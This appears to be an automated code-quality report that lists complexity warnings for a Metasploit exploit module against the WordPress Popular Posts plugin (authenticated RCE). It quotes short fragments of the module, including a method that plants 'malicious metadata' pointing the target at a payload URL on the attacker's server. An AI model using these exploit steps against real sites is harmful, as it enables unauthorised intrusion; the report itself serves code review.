File wp_popular_posts_rce.rb
has 383 lines of code (exceeds 250 allowed). Consider refactoring. Open
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
Method create_post
has a Cognitive Complexity of 20 (exceeds 5 allowed). Consider refactoring. Open
def create_post(cookie)
vprint_status('Creating new post')
# get post ID and nonces
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
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Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method boost_post
has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring. Open
def boost_post(cookie, post_id, wp_nonce, post_count)
# redirect as needed
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
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Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method initialize
has 57 lines of code (exceeds 25 allowed). Consider refactoring. Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Popular Posts Authenticated RCE',
Method create_post
has 53 lines of code (exceeds 25 allowed). Consider refactoring. Open
def create_post(cookie)
vprint_status('Creating new post')
# get post ID and nonces
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
Method boost_post
has 37 lines of code (exceeds 25 allowed). Consider refactoring. Open
def boost_post(cookie, post_id, wp_nonce, post_count)
# redirect as needed
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true,
Method get_widget
has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring. Open
def get_widget
# load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond
# which then would kill the exploit, so in this case we just keep trying.
(1..10).each do |_|
@res = send_request_cgi(
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Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method exploit
has 29 lines of code (exceeds 25 allowed). Consider refactoring. Open
def exploit
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie.nil?
Method change_settings
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
def change_settings(cookie, token)
vprint_status('Updating popular posts settings for images')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'POST',
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Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method add_meta
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
def add_meta(cookie, post_id, ajax_nonce, payload_name)
payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
vprint_status("Adding malicious metadata for redirect to #{payload_url}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
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Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"